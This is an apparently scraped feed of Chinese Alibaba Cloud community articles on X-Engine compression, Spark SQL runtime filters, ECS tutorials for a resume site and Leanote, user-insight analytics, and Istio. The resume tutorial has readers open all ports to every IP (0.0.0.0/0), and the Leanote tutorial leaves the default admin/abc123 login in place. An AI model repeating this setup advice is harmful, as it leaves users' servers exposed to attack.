                  X-Engine的Data Block无需原地更新,可以方便使用通用压缩算法(zlib,zstd,snapy等)压缩。所有位于LSM-tree低层次的数据都会默认压缩。经过大量对比测试,X-Engine默认选用了ZSTD压缩算法,但同时也保留了对其他算法的支持。此外后台compaction会持续删除无效记录(LSM-Tree更新和删除都是写入新记录,旧版本记录不再被需要时,视为无效),持续释放冗余的空间。
                  因为上述技术特点,X-Engine对存储空间的节省几乎到达了“变态”的程度,以至于当图片空间库的数据全部从InnoDB转移到X-Engine后,空间节省了7倍,如下图所示
                  image.png

                  如何做到降低7倍成本

                  为什么数据从InnoDB迁移至X-Engine后,取得了如此巨大的成本收益?

                  • 首先,InnoDB采用B+-Tree索引数据,伴随着数据写入,树的节点不停地分裂合并,导致定长的数据页长期处于“半满”状态,空间存在浪费。而X-Engine的更新删除操作,都是追加写到内存memtable,不会更改磁盘上的数据,因此这些静态数据可以紧凑的排列,不用为未来的写入预留空间,空间利用率很高。虽然追加写会产生冗余的多版本数据,X-Engine后台Compaction操作往往可以及时地清理无用的多版本数据。
                  • 其次,图片空间库存储了大量的图片元信息(例如user_id、图片地址URL等),这些信息有一个特点:相邻数据之间相似度非常高,例如同一个user_id往往对应多个图片地址,图片地址URL之间的前缀十分相似。X-Engine的前缀压缩机制保证:相邻key的相同前缀,尽量只存储一次。因此包含图片元信息的二级索引,经过前缀压缩,所占空间很少。
                  • 最后,主表的key虽然不能使用前缀压缩,但通用压缩算法,面对图片元信息记录中大量相似的文本字符(URL等),也能大显身手,取得理想的压缩比率。InnoDB虽然也支持数据页压缩,且对静态数据有较好的压缩比率,但是随着数据写入,B+-Tree持续分裂合并,空间很快就会膨胀起来。X-Engine静态的数据页,不存在这个问题。

                  性能表现依然优异

                  此外,由于图片空间是一个高频使用的应用,如果X-Engine的性能不满足要求,也无法落地。得益于LSM轻量化写机制,X-Engine写入操作本就是优势,何况还引入了group commit和事务处理流水线机制,大大增加了写入处理的并发度。读请求本是LSM的弱项,分层的结构和追加写产生的多版本数据,会增加读请求查询路径的长度,X-Engine为此做了大量的优化,诸如:多粒度Cache(memtable,Block Cache和Row Cache)、bloomfilter和range scan filter(Surf, SIGMOD'18)有效减少点查询和范围扫描的次数、异步I/O预取等,尽力把它打造成读写性能均衡,成本优势突出的存储引擎。关于X-Engine读写优化,可以参考这篇文章:X-Engine SIGMOD论文详解。

                  经过DBA和业务开发同学的验证,X-Engine的读写性能及延时完全满足业务需求。很快,淘宝图片空间库全部切换为X-Engine引擎,节省了大量的存储成本。

                  3.X-Engine适合什么样的业务

                  X-Engine分层存储的架构,特别适合具有如下业务负载特征的业务:

                  • 库表数据量特别大,对成本敏感的业务。传统InnoDB引擎迁移到X-Engine后,依据数据特征不同,存储空间可降低2倍~10倍。迁移到X-Engine之后,很多业务可以免除分库分表的需求,使用单库即可承载近10TB的数据存储服务。例如:X-Engine在钉钉的应用。
                  • 数据访问具有鲜明的时间特征。例如大部分读取及修改操作集中在最近写入的数据上,而历史数据较少被访问(例如淘宝交易库)。X-Engine新写入的数据通过高效的内存索引缓存,访问性能极高,而较少访问的历史数据保存在磁盘,提供稍逊的读写性能。例如:X-Engine在淘宝交易库的应用。
                  ]]>
                  EMR Spark-SQL性能极致优化揭秘 RuntimeFilter Plus-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:陆路,花名世仪,阿里巴巴计算平台事业部EMR团队高级开发工程师,大数据领域技术爱好者,对Spark、Hive等有浓厚兴趣和一定的了解,目前主要专注于EMR产品中开源计算引擎的优化工作。


                  背景介绍

                  TPC-DS 测试集采用星型和雪花型等多维数据模型,包含 7 张事实表和 17 张维度表,以 store channel 为例,事实表和维度表的关联关系如下所示:

                  image.png

                  分析 TPC-DS 全部 99 个查询语句不难发现,绝大部分语句的过滤条件都不是直接作用于事实表,而是通过过滤维度表并将结果集与事实表 join 来间接完成。因此,优化器很难直接利用事实表索引来减少数据扫描量。如何利用好查询执行时的维度表过滤信息,并将这些信息下推至存储层来完成事实表的过滤,对于性能提升至关重要。

                  在 2019 年的打榜测试中,我们基于 Spark SQL Catalyst Optimizer 开发的 RuntimeFilter 优化 对于 10TB 数据 99 query 的整体性能达到 35% 左右的提升。简单来说,RuntimeFilter 包括两点核心优化:

                  1. 动态分区裁剪:事实表以日期列(date_sk)为分区列建表,当事实表与 date_dim 表 join 时,optimizer 在运行时收集 date_dim 过滤结果集的所有 date_sk 取值,并在扫描事实表前过滤掉所有未命中的分区文件。
                  2. 非分区列动态过滤:当事实表与维度表的 join 列为非分区列时,optimizer 动态构建和收集维度表结果集中 join 列的 Min-Max Range 或 BloomFilter,并在扫描事实表时下推至存储层,利用存储层索引(如 Parquet、ORCFile 的 zone map 索引)来减少扫描数据量。

                  问题分析

                  为了进一步挖掘 RuntimeFilter 优化的潜力,我们选取了部分执行时间较长的 query 进行了细致的性能剖析。这些 query 均包含大于一个事实表和多个维度表的复杂 join。在分析了 RuntimeFilter 对各个 query 的性能提升效果后,我们发现:

                  1. 动态分区裁剪的性能提升效果明显,但很难有进一步的优化空间
                  2. 非分区列动态过滤对整体提升贡献相比分区裁剪小很多,主要是因为很多下推至存储层的过滤条件并没有达到索引扫描的效果

                  聪明的同学应该已经发现,只有 date_dim 这一张维度表和分区列相关,那么所有与其它维度表的 join 查询从 RuntimeFilter 优化中受益都较为有限。对于这种情况,我们做了进一步的拆解分析:

                  1. 绝大部分 join 列均为维度表的自增主键,且与过滤条件没有相关性,因此结果集取值常常均匀稀疏地散布在该列的整个取值空间中
                  2. 对于事实表,考虑最常见的 Zone Map 索引方式,由于 load 阶段没有针对非分区列做任何聚集操作(Clustering),每个 zone 的取值一般也稀疏分散在各个列的值域中。
                  3. 相比 BloomFilter,Min-Max Range 的构建开销和索引查询开销要低得多,但由于信息粒度太粗,索引过滤命中的效果也会差很多

                  综合以上几点考虑,一种可能的优化方向是在 load 阶段按照 join 列对事实表进行 Z-Order 排序。但是这种方式会显著增加 load 阶段执行时间,有可能导致 TPC-DS 评测总分反而下降。同时,由于建表阶段优化的复杂性,实际生产环境的推广使用也会比较受限。

                  RuntimeFilter Plus

                  基于上述分析,我们认为依赖过滤条件下推至存储层这一方式很难再提升查询性能,尝试往其它方向进行探索:

                  1. 不依赖存储层索引
                  2. 不仅优化事实表与维度表 join

                  最终我们提炼两个新的运行时过滤优化点:维度表过滤广播和事实表 join 动态过滤,并在原版 RuntimeFilter 优化的基础上进行了扩展实现。

                  维度表过滤广播

                  这一优化的思想来源于 Lookahead Information Passing(LIP),在论文《Looking Ahead Makes Query Plans Robust》中首次提出。其针对的场景如下图所示:
                  image.png

                  当事实表(lineorder)连续与多个维度表过滤结果做 multi-join 时,可将所有维度表的过滤信息下推至 join 之前。该方法与我们的 RuntimeFilter 的主要不同在于下推时考虑了完整的 multi-join tree 而不是局部 binary-join tree。其优化效果是即使 join ordering 为 bad case,无用的事实表数据也能够被尽早过滤掉,即让查询执行更加 robust。

                  我们参考论文算法实现了第一版过滤下推规则,但并没有达到预期的性能提升,主要原因在于:

                  1. Spark CBO Join-Reorder 结合我们的遗传算法优化,已经达到了接近最优的 join ordering 效果
                  2. 前置的 LIP filters 执行性能并没有明显优于 Spark BroadcastHashJoin 算子

                  基于过滤条件可以传递至复杂 multi-join tree 的任意节点这一思想去发散思考,我们发现,当 multi-join tree 中存在多个事实表时,可将维度表过滤条件广播至所有的事实表 scan,从而减少后续事实表 SortMergeJoin 等耗时算子执行时所需处理的数据量。以一个简化版的 query 64 为例:

                  with cs_ui as
                  (select cs_item_sk
                  ,sum(cs_ext_list_price) as sale
                  from catalog_sales
                  ,catalog_returns
                  where cs_item_sk = cr_item_sk
                  and cs_order_number = cr_order_number
                  group by cs_item_sk)
                  select i_product_name product_name
                  ,i_item_sk item_sk
                  ,sum(ss_wholesale_cost) s1
                  from store_sales
                  ,store_returns
                  ,cs_ui
                  ,item
                  where ss_item_sk = i_item_sk and
                  ss_item_sk = sr_item_sk and
                  ss_ticket_number = sr_ticket_number and
                  ss_item_sk = cs_ui.cs_item_sk and
                  i_color in ('almond','indian','sienna','blue','floral','rosy') and
                  i_current_price between 19 and 19 + 10 and
                  i_current_price between 19 + 1 and 19 + 15
                  group by i_product_name
                  ,i_item_sk

                  该查询的 plan tree 如下图所示:
                  image.png

                  考虑未实现维度表过滤广播的执行流程,store_sales 数据经过 RuntimeFilter 和 BroadcastHashJoin 算子进行过滤,但由于过滤后数据仍然较大,后续的所有 join 都需要走昂贵的 SortMergeJoin 算子。但如果将 LIP filter 下推至 4 张事实表的 scan 算子(无需下推至存储层),不仅减少了 join 数据量,也减少了 catalog_sales 和 catalog_returns 表 join 后的 group-by aggregation 数据量 。

                  LIP 实现

                  在 optimizer 层,我们在原版 RuntimeFilter 的 SyntheticJoinPredicate 规则后插入 PropagateDynamicValueFilter 规则,将合成的动态谓词广播至所有合法的 join 子树中;同时结合原有的谓词下推逻辑,保证动态谓词最终传播到所有相关的 scan 算子上。在算子层,LIP filters 的底层实现可以是 HashMap 或 BloomFilter,针对 TPC-DS 的数据特性,我们选择 BitMap 作为广播过滤条件的底层实现。由于 BitMap 本身是精确的(Exact Filter),可以结合主外键约束信息进一步做 semi-join 消除优化。基于主外键约束的优化规则将在系列后续文章做详细介绍。

                  应用该优化后,query 64 执行时间由 177 秒降低至 63 秒,加速比达到 2.8 倍。

                  事实表 Join 动态过滤

                  使用 BloomFilter 来优化大表 join 是一种常见的查询优化技术,比如在论文《Building a Hybrid Warehouse: Efficient Joins between Data Storedin HDFS and Enterprise Warehouse》中提出对 join 两表交替应用 BloomFilter 的 zig-zag join 方法,降低分布式 join 中的数据传输总量。对于 TPC-DS 测试集,以 query 93 为例,store_sales 与 store_returns join 后的结果集大小远小于 store_sales 原始数据量,非常适合应用这一优化。

                  BloomFilter 的构建和应用都存在较高的计算开销,对于 selectivity 较大的join,盲目使用这一优化可能反而导致性能回退。基于静态 stats 的 join selectivity 估算往往误差,Spark 现有的 CBO 优化规则难以胜任鲁棒的 BloomFilter join 优化决策。因此,我们基于 Spark Adaptive Execution(AE) 运行时重优化机制来实现动态的 BloomFilter join 优化规则。AE 的基本原理是在查询作业的每个 stage 执行完成后,允许优化器根据运行时采集的 stage stats 信息重新调整后续的物理执行计划。目前主要支持三种优化:
                  (1)reduce stage 并发度调整;
                  (2)针对 skew 情况的 shuffle 数据均衡分布;
                  (3)SortMergeJoin 转换为 BroadcastHashJoin

                  基于 AE 的优化规则流程如下:

                  1. 根据静态 stats 判断 join 的一端的 size 是否可能适合构建 BloomFilter( build side),如果是,则 build side 和 stream side 的 scan stage 会依次串行提交执行;否则这两个 stage 将并行执行。
                  2. 在 build side 的 scan stage 执行完成后,AE 根据运行时收集的 size 和 join 列 histogram 进行代价估算,并决定最终走 BroadcastHashJoin、BloomFilter-SortMergeJoinJoin 还是原本的 SortMergeJoin。
                  3. 当物理执行计划为 BloomFilter-SortMergeJoinJoin,优化器会插入一个新的作业并行扫描 build side 的 shuffle 数据来构建 BloomFilter,并下推至 stream side 的 scan stage 中。

                  BloomFilter 算子实现

                  为了减少 BloomFilter 带来的额外开销,我们重新实现了高效的 BuildBloomFiler 和 Native-InBloomFilter 的算子。在构建阶段,使用 RDD aggregate 来合并各个数据分片的 BloomFiler 会导致 driver 成为数据传输和 bitmap 合并计算的性能瓶颈;使用 RDD treeAggregate 实现并行分层合并显著降低了整体的构建延迟。在过滤阶段,Native-InBloomFilter 的算子会被推入 scan 算子中合并执行。该算子直接访问 Spark 列式读取内存格式,按批量数据来调用 SIMD 优化的 native 函数,降低 CPU 执行开销;同时,我们将原版算法替换为 Blocked BloomFilter 算法实现,该算法通过牺牲少量的 bitmap 存储空间来换取访存时更低的 CPU cache miss 率。

                  应用该优化后,query 93 执行时间由 225 秒降低至 50 秒,加速比达到 4.5 倍。


                  推荐阅读:EMR Spark-SQL性能极致优化揭秘 概览篇


                  阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!

                  image.png

                  对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。
                  image.png

                  Apache Spark技术交流社区公众号,微信扫一扫关注

                  image.png

                  ]]>
                  搭建自己的简历网站-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本章内容出自《7天学会ECS》电子书,点击下载完整版

                  搭建自己的简历网站

                  第一步:开通ECS云服务器

                  在搭建属于自己的简历网站的时候,需要注意要先开通ECS云服务器,具体的开通步骤可以参考上面。

                  第二步:安装网页运行环境

                  一般来说阿里云提供的公共镜像是一个空白的Linux发行版或者Windows Server,具体的运行环境我们还是需要自行搭建,对于新手来说一下子就提高了使用ECS的学习成本,这里我们使用云市场的现有镜像,无需安装,开箱即用!
                  一般来说,主流的建站环境就是 LAMP 环境,它是 Linux + Apache Httpd + MySQL + PHP 的缩写,是网页环境的黄金搭档,可以兼容几乎所有的HTML和PHP运行需求。
                  这里推荐使用 LAMP环境(Ubuntu16.04 Apache PHP7.1),因为这个镜像提供了比较丰富的工具:例如OSS备份、Let’s Encrypt等,而且Apache、PHP 等组件可以自行升级,更加安全!
                  使用云市场的镜像有以下几种方式。
                  1、购买ECS时选择
                  还记得在购买ECS的使用选择公共镜像吗?我们可以在这一步就选择镜像市场,然后在搜索框输入关键词:LAMP环境(Ubuntu16.04 Apache PHP7.1)

                  image.png
                  image.png

                  2、已购ECS更换镜像
                  如果已经购买了ECS,想更换为镜像市场的镜像应该怎么办?
                  (1). 停止ECS(强制停止更快)。

                  image.png

                  (2). 然后在 配置信息 —— 更换系统盘

                  image.png

                  就可以和第一步一样选择镜像市场的镜像了~
                  3、直接在镜像页面购买
                  进入:https://market.aliyun.com/products/53398003/cmjj016263.html

                  image.png

                  就可以像购买ECS一样购买并使用镜像了。

                  4、设置安全组
                  (1)、进入【本实例安全组】

                  image.png

                  (2)、点击【配置规则】

                  image.png

                  3、点击右上角【添加安全组规则】

                  image.png

                  4、设置内容:
                  授权类型:全部
                  授权对象:0.0.0.0/0
                  这就是默认开放所有端口且允许所有IP访问了。
                  这是VPC(专有网络)的设置,如果是经典网络,设置公网出入方向的内容即可,不要输入内网的。

                  image.png

                  5、查看
                  访问:http://你的公网iP/
                  就可以看到:

                  image.png

                  点击【探针】,就可以查看PHP运行环境和相关服务数据了。

                  image.png

                  第三步:制作个人简历网页

                  拥有一个个人简历网页总还是能给自己加分不少的,特别是在互联网企业,简历这种东西一定要新颖并且内容一定能查,以免给人一种头重脚轻的感觉。
                  这里需要通过 Visual Studio Code(后面简称VSC) 编辑并制作简历页面。
                  下载地址:https://code.visualstudio.com/Download
                  在附件中有提供一份响应式的 HTML 简历模板,就是 resume 文件(下载地址:https://edu.aliyun.com/course/147/material/6435/download
                  注:简历模板下载地址只有在登陆了阿里云账号之后才可以打开该地址下载,否则 403。

                  image.png

                  1、修改HTML标题:
                  将以下图片中的“王小明的个人简历” 改成你的名字或者 XX的简历。

                  image.png

                  2、然后其他的部分,我们只需要复制页面中的文字并在VSC中搜索即可,然后替换:
                  例如,我要修改年龄这一段:

                  image.png

                  复制 “年 龄:25”到 VSC 中搜索:

                  image.png

                  换成我们真实的年龄,保存之后再打开 index.html 文件就可以看到更改后的结果了!
                  3、修改技能的百分比

                  image.png

                  用VSC打开,可以看到:

                  image.png

                  class="s90" 中的,s90 表示 90%,s100即100%以此类推
                  4、修改作品中的图片:

                  image.png

                  在这一区域中,将图片替换为你的图片即可:

                  image.png

                  第四步:将简历上传到服务器

                  1、安装FileZilla
                  用过虚拟主机的朋友可能会知道虚拟主机一般使用FTP传输文件,而我们使用 Linux 发行版,其实也可以通过 SFTP 协议传输文件,常见的 FTP 软件基本上都支持 SFTP 协议。

                  这里我们推荐免费开源,而且非常好用的跨平台 FTP 软件,支持中文哟 —— FileZilla
                  下载地址:https://filezilla-project.org/download.php?type=client

                  image.png

                  只需要在主机栏中声明 sftp:// 协议,就可以连接了,就可以看到远程 Linux 上的目录了:
                  2、上传
                  因为绑定域名需要涉及备案,所以我们这里以公网IP访问先介绍:
                  (1)、进入/data/wwwroot/default/ 目录,创建一个old文件夹,将目录上的原始文件全部搬到old内。

                  image.png

                  (2)、将简历上传至/data/wwwroot/default/ 目录下:

                  image.png

                  然后在浏览器中直接访问:http://ecs公网ip就可以可以访问了!

                  image.png

                  ]]>
                  搭建自己专属的云笔记-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本章内容出自《7天学会ECS》电子书,点击下载完整版

                  搭建自己专属的云笔记

                  在本课程中将要带大家安装一下mangodb,安装二进制Leanotes的版本,最终形成一个如下图一样大气的云笔记:

                  image.png

                  我们可以在这个笔记里记录、修改笔记:

                  image.png

                  第一步:开通ECS云服务器

                  同搭建简历与搭建Linux学习环境一样,我们进行自己云笔记的搭建也需要开通ECS云服务器,具体操作步骤同上。

                  第二步:安装 Leanote 程序

                  Leanote是一款开源云笔记软件,使用Go的Web框架revel和MongoDB开发完成。支持多语言多用户有非常好的笔记记录体验,接下来我们将介绍 Leanote 的二进制版安装教程。
                  1、设置安全组
                  (1)进入本实例安全组

                  image.png

                  (2)点击配置规则

                  image.png

                  (3)右上角快速创建规则

                  image.png

                  (4)根据框内内容输入,并点击确认:
                  HTTP(80) 和 HTTPS(443)
                  授权对象为:0.0.0.0/0

                  image.png

                  2、安装 MongoDB
                  (1)导入包管理系统使用的公钥
                  sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 0C49F3730359A14518585931BC711F9BA15703C6
                  (2)为MongoDB创建一个列表文件
                  根据版本创建/etc/apt/sources.list.d/mongodb-org-3.4.list 列表文件
                  Ubuntu 14.04
                  echo "deb [ arch=amd64 ] http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.4.list

                  Ubuntu 16.04
                  echo "deb [ arch=amd64,arm64 ] http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.4.list
                  (3)更新本地包数据库
                  sudo apt-get update
                  (4)安装最新版本的MongoDB
                  sudo apt-get install -y mongodb-org

                  3、安装 Leanote

                  (1) 下载或者通过sftp上传二进制包(建议本地下载后上传 速度快)
                  wget https://nchc.dl.sourceforge.net/project/leanote-bin/2.6.1/leanote-linux-amd64-v2.6.1.bin.tar.gz
                  (2) 解压
                  tar xzf leanote-linux-amd64-v2.6.1.bin.tar.gz
                  (3)启动MongoDB
                  sudo service mongod start
                  (4)导入数据库,最后出现 done 表示成功
                  cd leanote
                  mongorestore -h localhost -d leanote --dir mongodb_backup/leanote_install_data/
                  (5)启动Leanote 出现 Listening on :9000... 表示成功:
                  cd
                  apt install screen
                  screen -S leanote
                  cd leanote/bin
                  bash run.sh

                  第三步:配置 Leanote

                  代码:
                  cd ../
                  cd conf
                  vim app.conf
                  bash ../bin/run.sh

                  image.png
                  image1.png
                  image2.png
                  image3.png
                  image4.png
                  image5.png
                  image6.png
                  image7.png
                  image8.png
                  image9.png
                  image10.png

                  浏览器打开就行。
                  http://ECS 公网 IP

                  image.png

                  第四步:使用 Leanote

                  1、进入首页后,在顶部切换至中文:

                  image.png

                  2、点击登录,账号是admin,密码是abc123

                  image.png

                  3、点击这里的 + 号,是创建一个笔记分类

                  image.png

                  4、然后我们就可以新建我们的笔记了!

                  image.png

                  5、笔记是实时保存的,我们不用刻意去点击保存,或者 Ctrl + S

                  image.png

                  6、在右上角,点击后台管理

                  image.png

                  7、在 Configuration 中 Site’s URL修改为我们的ECS公网IP

                  image.png

                  8、Open Register 中可以选择不开放注册

                  image.png

                  ]]>
                  新零售企业如何借助全域数据中台进行自有用户洞察-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言:
                  关于数智化转型、数据中台内容探讨可扫码加入数智化转型俱乐部哦

                  446370221436dc0ad0069d92481a07d2ff6828ec.jpeg
                  阿里云数据中台官网 https://dp.alibaba.com/index


                  正文:
                  (作者:渊洛 )

                  一、前言

                  完善的数据分析体系,是企业数字化转型必备的基础,企业在发展过程中,无论规模、性质如何,都离不开对用户(顾客/客户)的洞察,在新零售行业更是如此。全域数据中台能够提供:用户洞察数据模型、用户洞察分析、用户画像体系,帮助企业更加深入的了解用户,企业可以通过深度分析给用户提供更好的服务,建立客户关系管理,完善用户运营。

                  二、用户洞察
                  以往在企业中,通常是通过注册、消费来分析用户的状态,随着采集技术的发展以及大数据技术的支持,我们可以实现分析处理更多维度的数据,从而丰富企业自有数据库。通过OneId的建设,企业内数据可以实现串联,从而实现对用户行为较为完整的数据分析。

                  产品方面,通过数据中台产品Dataphin开发用户洞察相关的底层模型,再在Quick BI上做相关的数据分析,结合Quick Audience进行人群洞察圈选。

                  三、分析介绍

                  用户洞察分析,是企业全域数据中台企业自有数据应用分析的一部分,也是关键的部分。在用户洞察解决方案中,分析体系主要从三种分析框架入手,从不同的角度,帮助企业了解其用户资产。企业通过用户资产(用户生命周期角度)、用户旅程分析AIPL、用户价值RFM分析三种分析思路帮助企业从不同角度了解其用户资产,以适应不同场景下的分析需求。

                  企业可以选择某种分析方法或者多种方法组合,实现以下内容的分析与洞察:

                  • 用户的生命周期状态
                  • 不同生命周期用户的销售洞察
                  • 用户价值
                  • 用户行为

                  3.1 企业用户资产分析

                  “用户”是企业另一种形态的资产,我们从两方面了解用户的基本概况,首先是用户生命周期的划分,或者说是用户状态的划分,更加精细的用户划分可以将人群的特点分析更加全面,再有就是用户消费洞察,可以帮助企业了解用户处于不同状态下时对销售业绩的贡献,帮助企业进一步了解用户特点。

                  3.1.1 用户生命周期状态分析-FULL分析

                  我们从用户的互动时间长度结合互动深度做消费者的划分,从互动时长上划分准(潜)、新、老三种基本类型,从互动深度上划分出活跃、非活跃2种类型,相互交叉后,给出全新的用户生命周期状态定义。通过用户生命周期的划分,更加精细运营维护消费者资产。当一名用户与企业或者品牌等发生互动行为起,即可被认作为企业或品牌的潜在会员群体,成为拉新的目标群体。该用户消费以后,成为企业或品牌的活跃用户,直至用户流失。

                  企业或品牌可以结合报表分析指标和相应用户生命周期的标签画像,作出当下最为合适的运营决策。比如对新非活跃会员给予新人优惠券的发送,激活其成为活跃会员。

                  3.1.2 用户销售洞察

                  企业可以结合用户生命周期状态,对不同状态用户的消费进行探查,通过销售的基础指标如金额、件数、频次,了解当前用户消费概况。结合趋势、同环比等对当前的业务业绩进行进一步的洞察。从而制定更加合理的营销活动,圈选更加合适的营销人群。

                  销售洞察会分为多个分析:整体用户洞察、非会员销售洞察、(活跃)会员销售洞察、新活跃销售洞察、现期活跃销售洞察、持续活跃销售洞察、回归活跃销售洞察。由生命周期状态人群洞察,到用户销售洞察,企业可以将人群及其贡献更好的结合起来分析。对经营问题的诊断提供极大帮助。

                  3.2 AIPL分析

                  AIPL,把用户划分为认知、兴趣、购买、忠诚四个阶段,也被称作消费者旅程分析。用于帮助品牌将消费者根据不同的行为阶段进行分层管理,再依据不同的产品特性进行教育转化,是品牌管理中经典的消费者行为理论。此模型更关心的是消费者与企业的互动深入程度,可以从消费者跟品牌的忠实程度划分消费者资产,从这个角度对不同阶段的客户做不同的营销活动。

                  A:Awareness 认知

                  I:Interests 兴趣

                  P:Purchase购买

                  L:Loyalty 忠诚

                  用户的购物行为描述为从认知到兴趣,再从兴趣转化为购买,从购买转化为忠诚的一连串先后发生的过程,这一过程被称为消费者旅程。消费者可能会跳跃,比如从认知直接进入到购买,类似冲动型消费,或者从兴趣直接到忠诚。AIPL模型,可以帮助企业了解潜在用户有多少,忠诚客户有多少,以及各个环节的转化率。企业可以圈选出不同阶段的人群做相关的营销活动。

                  3.3 RFM分析
                  3.3.1 用户价值分析

                  用户价值的划分,是根据用户的购买行为对用户进行分类,通过购买行为中的购买时间、购买频次、购买金额三项指标来评估用户的价值,根据不同维度的划分将用户划分为不同类型。圈选出人群,做特定的营销活动推送,比如给予重要价值用户vip权益,提升用户忠诚度;给予重要发展用户一些满送活动,提升客户的购买兴趣,增加用户复购可能性等。

                  R:用户最近一次购买时间
                  F: 在企业定义周期内的的购买频次
                  M:在企业定义周期内的购买金额

                  若把RFM各分2档,最终可以得到8种客户类型,分档后可以演化为RFM标签,可以针对不同企业制定不同的时间周期,也可针对需要设置或用其他分类名称。企业可以根据实际需要将RFM划分成更多的类型,比如只将R划分为3档,可以得到12种类型,如果都划分为3档,则是27种类型,但并非类型越多越好,企业还是按照实际运营来合理划分。

                  以RFM各分2档为例:

                  某周期内重要价值用户
                  某周期内重要潜力用户
                  某周期内重要深耕用户
                  某周期内新客户用户
                  某周期内重要唤回用户
                  某周期内一般维持用户
                  某周期内重要挽留用户
                  某周期内流失用户

                  3.3.2 用户复购分析

                  提供消费者复购分析,可以对一段时期内消费者频次进行分组或者筛选具体范围、数值对消费者的价值进行更深层次的挖掘。通过购买频次的划分,对于不同人群给予不同的营销策略,提升活跃度、忠诚度。

                  ]]>
                  Service Mesh 最火项目 Istio 架构解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Istio 是一个开源的服务网格,可为分布式微服务架构提供所需的基础运行和管理要素。随着各组织越来越多地采用云平台,开发者必须使用微服务设计架构以实现可移植性,而运维人员必须管理包含混合云部署和多云部署的大型分布式应用。Istio 采用一种一致的方式来保护、连接和监控微服务,降低了管理微服务部署的复杂性。

                  从架构设计上来看,Istio 服务网格在逻辑上分为控制平面和数据平面两部分。其中,控制平面 Pilot 负责管理和配置代理来路由流量,并配置 Mixer 以实施策略和收集遥测数据;数据平面由一组以 Sidecar 方式部署的智能代理(Envoy)组成,这些代理可以调节和控制微服务及 Mixer 之间所有的网络通信。
                  image.png
                  作为代理,Envoy 非常适合服务网格的场景,但要发挥 Envoy 的最大价值,就需要使它很好地与底层基础设施或组件紧密配合。Envoy 构成了服务网格的数据平面,Istio 提供的支撑组件则是创建了控制平面。
                  image.png
                  一方面,我们在 Envoy 中看到,可以使用静态配置文件或使用一组发现服务来配置一组服务代理,以便在运行时发现监听器、端点和集群。Istio 在 Pilot 中实现了这些 Envoy 代理的 xDS API。

                  另一方面,Envoy 的服务发现依赖于某种服务注册表来发现服务端点。Istio Pilot 实现了这个 API,但也将 Envoy 从任何特定的服务注册实现中抽象出来。当 Istio 部署在 Kubernetes 上时,Kubernetes 的服务注册表是 Istio 用于服务发现的。其它注册表也可以像 HashiCorp 的 Consul 那样使用。Envoy 数据平面完全不受这些实施细节的影响。
                  image.png

                  此外,Envoy 代理可以发出很多指标和遥测数据,这些遥测数据发送到何处,取决于 Envoy 的配置。Istio 提供遥测接收器 Mixer 作为其控制平面的一部分,Envoy 代理可以将这些数据发送到 Mixer。Envoy 还将分布式跟踪数据发送到开放式跟踪引擎(遵循 Open Tracing API)。Istio 可以支持兼容的开放式跟踪引擎并配置 Envoy 将其跟踪数据发送到该位置。

                  剖析 Istio 控制平面

                  Istio 的控制平面和 Envoy 的数据平面共同构成了一个引人注目的服务网格实现。两者都拥有蓬勃发展和充满活力的社区,并且面向下一代服务架构。Istio 是独立于平台的,可运行于各种环境中,包括跨云、内部部署、Kubernetes、Mesos 等。你可以在 Kubernetes 上部署 Istio 或在具有 Consul 的 Nomad 上部署。Istio 目前支持在 Kubernetes 上部署的服务、使用 Consul 注册的服务以及在虚拟机上部署的服务。

                  其中,控制平面部分包括了 Pilot、Mixer、Citadel 和 Galley 四个组件。参见 Istio 架构一图。

                  1. Pilot

                  Istio 的 Pilot 组件用于管理流量,可以控制服务之间的流量流动和 API 调用,通过 Pilot 可以更好地了解流量,以便在问题出现之前发现问题。这使得调用更加可靠、网络更加强健,即使遇到不利条件也能让应用稳如磐石。借助 Istio 的 Pilot,你能够配置熔断器、超时和重试等服务级属性,并设置常见的连续部署任务,如金丝雀发布、A/B 测试和基于百分比拆分流量的分阶段发布。Pilot 为 Envoy 代理提供服务发现功能,为智能路由和弹性能力(如超时、重试、熔断器等)提供流量管理功能。Pilot 将控制流量行为的高级路由规则转换为特定于 Envoy 代理的配置,并在运行时将它们传播到 Envoy。此外,Istio 提供了强大的开箱即用故障恢复功能,包括超时、支持超时预算和变量抖动的重试机制、发往上游服务的并发连接和请求数限制、对负载均衡池中的每个成员进行的定期主动运行状况检查,以及被动运行状况检查。

                  Pilot 将平台特定的服务发现机制抽象化并将其合成为标准格式,符合数据平面 API 的任何 Sidecar 都可以使用这种标准格式。这种松散耦合使得 Istio 能够在多种环境下运行(例如 Kubernetes、Consul、Nomad),同时可保持用于流量管理的操作界面相同。

                  2. Mixer

                  Istio 的 Mixer 组件提供策略控制和遥测收集功能,将 Istio 的其余部分与各个后端基础设施后端的实现细节隔离开来。Mixer 是一个独立于平台的组件,负责在服务网格上执行访问控制和使用策略,并从 Envoy 代理和其他服务收集遥测数据。代理提取请求级属性,发送到 Mixer 进行评估。

                  Mixer 中包括一个灵活的插件模型,使其能够接入到各种主机环境和后端基础设施,从这些细节中抽象出 Envoy 代理和 Istio 管理的服务。利用 Mixer,你可以精细控制网格和后端基础设施后端之间的所有交互。

                  与必须节省内存的 Sidecar 代理不同,Mixer 独立运行,因此它可以使用相当大的缓存和输出缓冲区,充当 Sidecar 的高度可伸缩且高度可用的二级缓存。

                  Mixer 旨在为每个实例提供高可用性。它的本地缓存和缓冲区可以减少延迟时间,还有助于屏蔽后端基础设施后端故障,即使后端没有响应也是如此。

                  3. Citadel

